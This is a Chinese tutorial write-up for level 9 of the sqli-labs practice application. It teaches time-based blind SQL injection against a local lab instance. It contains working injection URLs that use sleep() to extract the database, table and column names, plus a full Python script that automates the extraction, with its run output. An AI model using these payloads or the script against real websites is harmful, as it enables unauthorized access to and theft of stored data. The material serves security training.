前言 {#前言}
这关主要给大家讲解时间盲注知识点
前期准备 {#前期准备}
开启phpstudy,开启apache服务以及mysql服务
打开ASCII表
实验环节 {#实验环节}
浏览器访问Less-9 {#浏览器访问Less-9}
http://127.0.0.1/sqli-labs-master/Less-9/
判断是否存在注入 {#判断是否存在注入}
按照布尔盲注的手法,尝试后发现这里无论输入什么条件,回显的结果都是一个,这就证明不能再用刚刚布尔盲注的做法了,我们尝试使用时间盲注来解题
判断库名长度 {#判断库名长度}
http://127.0.0.1/sqli-labs-master/Less-9/?id=1' and if (length(database())=9,sleep(5),1) -- xz
#假设库名长度为9,页面回显时间是立刻进去,并没有到我们这边设置的5秒
http://127.0.0.1/sqli-labs-master/Less-9/?id=1' and if (length(database())=8,sleep(5),1) -- xz
#所以正确的是库名长度为8,页面加载5s后进去
利用ASCII码判断当前数据库名称 {#利用ASCII码判断当前数据库名称}
http://127.0.0.1/sqli-labs-master/Less-9/?id=1' and if ((ascii(substr(database(),1,1))=115),sleep(5),1) -- xz
#经过一段时间推测,当数值为115时,页面延时5s左右加载,说明数据库名称第一位是s
......以此类推,可得出剩下的字母,组合起来就是我们的数据库名称
判断表名 {#判断表名}
http://127.0.0.1/sqli-labs-master/Less-9/?id=1' and if ((ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101),sleep(5),1) -- xz
#当数值为101时,页面延时5s左右加载,说明数据库表名的第一个的第一位是e
.................以此类推可得出剩下字符,可通过ASCII表查看
综合前面的一些题目,推测第一个表名为emails
判断字段名 {#判断字段名}
http://127.0.0.1/sqli-labs-master/Less-9/?id=1' and if ((ascii(substr((select column_name from information_schema.columns where table_name='emails' limit 0,1),1,1))=105),sleep(5),1) -- xz
#同样的当数值为105时,页面延时5s左右正常,通过结果可以得出emails表中的列名称第一位是i
使用python脚本做题 {#使用python脚本做题}
代码如下
import requests import time import datetime url = "http://192.168.199.135/sqli-labs-master/Less-9/index.php" p1 = 'abcdefghijklmnopqrstuvwxyz' #获取数据库长度 def database_len(): for i in range(1,10): payload = "?id=1' and if(length(database())>%s,sleep(4),0)--+"%i url1 = url +payload #print(url1) time1 =datetime.datetime.now() r=requests.get(url=url1) time2=datetime.datetime.now() time3 = (time2-time1).total_seconds() #计算时间差, 忽略天 只看时分秒 total_seconds() 真正的时间差 包含天 if time3 >= 4: print(i) else: print(i) break print('数据库长度为:',i)
#database_len()
#获取数据库名 def datebase_name(): name='' for i in range(1,9): for j in p1: payload="?id=1' and if(substr(database(),%s,1)='%s',sleep(4),1)--+" %(i,j) url1=url+payload #print(url1) time1=datetime.datetime.now() r=requests.get(url=url1) time2=datetime.datetime.now() time3=(time2-time1).total_seconds() if time3 >= 4: name += j print(name) break n = name print('数据库名字为:'+n)
#datebase_name()
#获取表 def tables_name(): global table4 table1='' table2='' table3='' table4='' for i in range(5): for j in range(1,6): for t in p1: payload="?id=1' and sleep(if((mid((select table_name from information_schema.tables where table_schema=database() limit %s,1),%s,1)='%s'),3,0)) --+"%(i,j,t) url1=url+payload #print(url1) time1=datetime.datetime.now() r=requests.get(url=url1) time2=datetime.datetime.now() time3=(time2-time1).seconds if time3 >= 3: if i == 0: table1 +=t print('第一个表为:',table1) elif i == 1: table2 += t print('第二个表为:',table2) elif i == 2: table3 +=t print('第三个表为:',table3) elif i == 3: table4 += t print('第四个表为:',table4) else: break print('第一个表为'+table1) print('第二个表为'+table2) print('第三个表为' + table3) print('第四个表为' + table4)
#tables_name()
#获取表中的字段 def table_column(): global column3 column1='' column2='' column3='' f=table4 for i in range(3): for j in range(1,9): for t in p1: payload="?id=1' and sleep(if((mid((select column_name from information_schema.columns where table_name='%s' limit %s,1),%s,1)='%s'),5,0)) --+"%(f,i,j,t) url1 =url+payload #print(url1) time1 = datetime.datetime.now() r = requests.get(url=url1) time2 = datetime.datetime.now() time3 = (time2 - time1).seconds if time3 >= 5: if i == 0: column1 += t print('字段一为:'+column1) elif i == 1: column2 += t print('字段二为:'+column2) elif i == 2: column3 += t print('字段三为:'+column3) else: break print('users字段一为:'+column1) print('字段二为:'+column2) print('字段三为:',column3)
#table_column()
def s_content(): content1='' f1= column3 f2= table4 for i in range(20): for t in p1: payload = "?id=1' and sleep(if((mid((select %s from %s limit 7,1),%s,1)='%s' ),3,0)) --+"%(f1,f2,i,t) url1 =url+payload #print(url1) time1=datetime.datetime.now() r = requests.get(url=url1) time2 = datetime.datetime.now() time3 = (time2-time1).seconds if time3 >=3: content1 += t print('password字段一内容为:'+content1) break
print('字段内容为:'+content1)
start_time=time.time() database_len() datebase_name() tables_name() table_column() s_content() end_time=time.time() end_start_time=end_time-start_time print('总花费时间为',end_start_time,'秒')
运行结果
D:\pythonProject\my_pythonProject\Scripts\python.exe D:\pythonProject\my_pythonProject\Less-9.py 1 2 3 4 5 6 7 8 数据库长度为: 8 s se sec secu secur securi securit security 数据库名字为:security 第一个表为: e 第一个表为: em 第一个表为: ema 第一个表为: emai 第一个表为: email 第二个表为: r 第二个表为: re 第二个表为: ref 第二个表为: refe 第二个表为: refer 第三个表为: u 第三个表为: ua 第三个表为: uag 第三个表为: uage 第三个表为: uagen 第四个表为: u 第四个表为: us 第四个表为: use 第四个表为: user 第四个表为: users 第一个表为email 第二个表为refer 第三个表为uagen 第四个表为users 字段一为:u 字段一为:us 字段一为:use 字段一为:user 字段二为:c 字段二为:cu 字段二为:cur 字段二为:curr 字段二为:curre 字段二为:curren 字段二为:current 字段三为:t 字段三为:to 字段三为:tot 字段三为:tota 字段三为:total 字段三为:totalc 字段三为:totalco users字段一为:user 字段二为:current 字段三为: totalco 字段内容为: 总花费时间为 264.511536359787 秒
进程已结束,退出代码0